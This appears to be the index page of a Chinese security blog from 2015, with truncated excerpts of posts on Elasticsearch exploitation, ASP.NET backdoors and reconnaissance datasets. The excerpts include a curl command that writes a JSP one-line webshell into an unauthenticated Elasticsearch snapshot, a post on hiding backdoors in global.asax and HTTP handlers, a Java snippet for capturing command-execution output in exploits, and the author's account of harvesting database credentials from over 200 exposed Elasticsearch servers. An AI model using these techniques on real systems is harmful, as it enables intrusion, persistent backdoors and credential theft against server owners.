2015-08-25 21:40:31

URL.zip

这是3月-5月的URL数据,包含大量的完整URL链接压缩包。每个文件3E+URL,解压后15-17G。 20150331-http.url.zip url.txt.zip [[email protected] http]# head 20150331-http.url https://67.32.8.22.innotrac.com/ http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd http://www.w3.org/1999/xhtml http://174.93.96.86/js/jquery-1.3.1.min.js http://174.93.96.86/js/common.js http://174.93.96.86/js/class.js http://174.93.96.86/js/main.js http://174.93.96.86/js/jcookie.js http://174.93.96.86/js/language.js http://174.93.96.86/css/main.css

2015-08-25 07:30:32

java inputstream toString

在以前的众多执行利用代码当中获取命里执行结果一直是一个比较麻烦的事情,常见的byte/char[50000]、readFully、readLine但总会有很多不便,比如说readLine的while循环读取问题。使用java.util.Scanner(xxx).useDelimiter(xxx)可以快速解决命令执行回显问题。 import java.io.IOException; import java.io.InputStream; public class Exec { public static void main(String[] args) { try { InputStream in = Runtime.getRuntime().exec("ifconfig").getInputStream(); java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\A"); System.out.println(s.hasNext() ? s.next() : ""); } catch (IOException e) { e.printStackTrace(); } } } 利用Scanner读取文件内容到St

2015-08-05 13:23:52

2015-07-08 11:00:41

elasticsearch Snapshot And Restore缺陷利用

elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 基础信息: 可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes 未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。 参考es官方的索引快找和恢复文档(Snapshot And Restore): http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot 大概意思是说: 快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。 首先创建一份恶意的索引文档(key为jsp一句话后门): curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,10

2015-06-24 11:13:04

IP、域名、子域名TOP3000库

app_ip_lookup.sql这个直接是SQL文件数据量400W+。IP段来自https://db-ip.com/db/ IP经纬度数据来自http://dev.maxmind.com/geoip/legacy/geolite/ 国内数据来自http://ip.taobao.com/ IP数据变动太快,有点差异很正常。db-ip的IP段好像只划到了0-223.29.206.255 漏了些国内的。 IP地址是long,可以用select INET_NTOA(ip_start_int),INET_NTOA(ip_end_int) from app_ip_lookup 自己转。 下载地址:app_ip_lookup.sql.zip 域名库: 这个是我上次发的那个1.9亿域名A记录(主域名:1.18亿,子域名7300万)的所有主域名主域名解析记录,数据格式是JSON。我重新解析了下所有的主域名,成功的有7000W+失败差不多4000W。当然失败的原因可能有的域名已过期删除了也可能是犹豫网络原因或者只解析了www通过xxx.com无法解析的情况。 格式:ip地址,主机名,计算机名,域名,解析失败的会过些天再解析一次。 下载地址:dns.zip 子域名TOP3000最近更新了下,删除了大量可能是垃圾的域名。具体的排名如下: 子域名前缀top3000.txt

2015-06-15 12:33:38

ASP.NET global.asax、httpHandlers、httpModules 后门

特别注意:需要特别小心配置任何一个误操作都可能导致网站彻底崩溃,对于新手操作危险系数很高。这里只是技术分享,请最好先在本地测试。如有发现BUG与我联系 :) 一:global.asax <%@ Application Language="C#" %> <script RunAt='server'> void Application_Start(object sender, EventArgs e) { //在应用程序启动时运行的代码 } void Application_End(object sender, EventArgs e) { //在应用程序关闭时运行的代码 } void Application_Error(object sender, EventArgs e) { } void Session_Start(object sender, EventArgs e) { //在新会话启动时运行的代码 } void Session_End(object sender, EventArgs e) { //在会话结束时运行的代码。

2015-05-30 01:57:59

sqlplus.jar命令行下连接Mysql、SQLServer、Oracle小工具

使用了一个btc-ascii-table小工具,可以像mysql客户端一样方便的管理数据库。自带mysql、sqlserver2000、2005+、oracle数据库驱动,可以在命令行下直连这几种数据库。连接的时候需要自行指定对应的数据库的驱动URL哦,百度下jdbc或者参考我以前的文章。 交互shell方式: 直接执行命令方式: java -jar sqlplus.jar "com.mysql.jdbc.Driver" "jdbc:mysql://localhost:3306/mysql" "root" "c123456" "select version()" import java.io.BufferedReader; import java.io.InputStreamReader; import java.sql.Connection; import java.sql.DriverManager; import com.bethecoder.ascii_table.ASCIITable; import com.bethecoder.ascii_table.impl.JDBCASCIITableAware; import com.bethecoder.ascii

2015-05-10 19:46:51

elasticsearch 未授权访问-数据库配置信息泄漏

elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等) 安装过程看这里:https://github.com/jprante/elasticsearch-jdbc 那么怎么知道别人是不是在用elasticsearch的river呢? http://localhost:9200/_cat/indices里面的indices包含了_river一般就是了。 查看river详细信息: jdbc: { url: "jdbc:mysql://localhost:3306/库名", user: "root", password: "密码", sql: "select * from 表" } 我试了下 嗯,不错 跑了200多个配置了_river的IP,mysql、mongodb,redis比较多

2015-04-28 19:02:56

Elasticsearch 任意文件读取漏洞(CVE-2015-3337)

@盛大网络 elasticsearch又出新版本了,这次修复了一个任意文件读取漏洞(写的是目录遍历)。 官方的release notes: 在这里看描述:https://github.com/elastic/elasticsearch/pull/10815 在这里看漏洞详情:https://github.com/spinscale/elasticsearch/commit/5d8e9e24c917b5f2c0958ba68be34a42efaeadbc 原来代码是: if (!Files.exists(file) || Files.isHidden(file)) { 修改后加了验证 if (!Files.exists(file) || Files.isHidden(file) || !file.toAbsolutePath().normalize().startsWith(siteFile.toAbsolutePath())) { @Test /** + * Test normalizing of path + */ + @Test + public void testThatPathsAreNormalized() throws Exception { + // more info: https://www.owasp.org/

2015-03-30 10:32:48

HttpServletRequestWrapper 编码问题

当发现经过Wrapper后Spring setCharacterEncoding还乱码时,可以实现HttpServletRequestWrapper,重写public String[] getParameterValues(String name) {....}等方法,再Encoding已设了encoding。 /** * 获取应用层的编码方式,应用层Filter需要setCharacterEncoding避免乱码问题 * 当getCharacterEncoding不为空那么就可以从RequestWrapper中获取转换编码 * 后的字符串了 * @param request * @return */ public static String getCharacterEncoding(HttpServletRequest request){ String encoding = request.getCharacterEncoding(); return encoding != null ? encoding : "ISO8859-1"; } /** * 避免Filter乱码问题,默认ISO8859-1,如果应用层setCharacterEncodin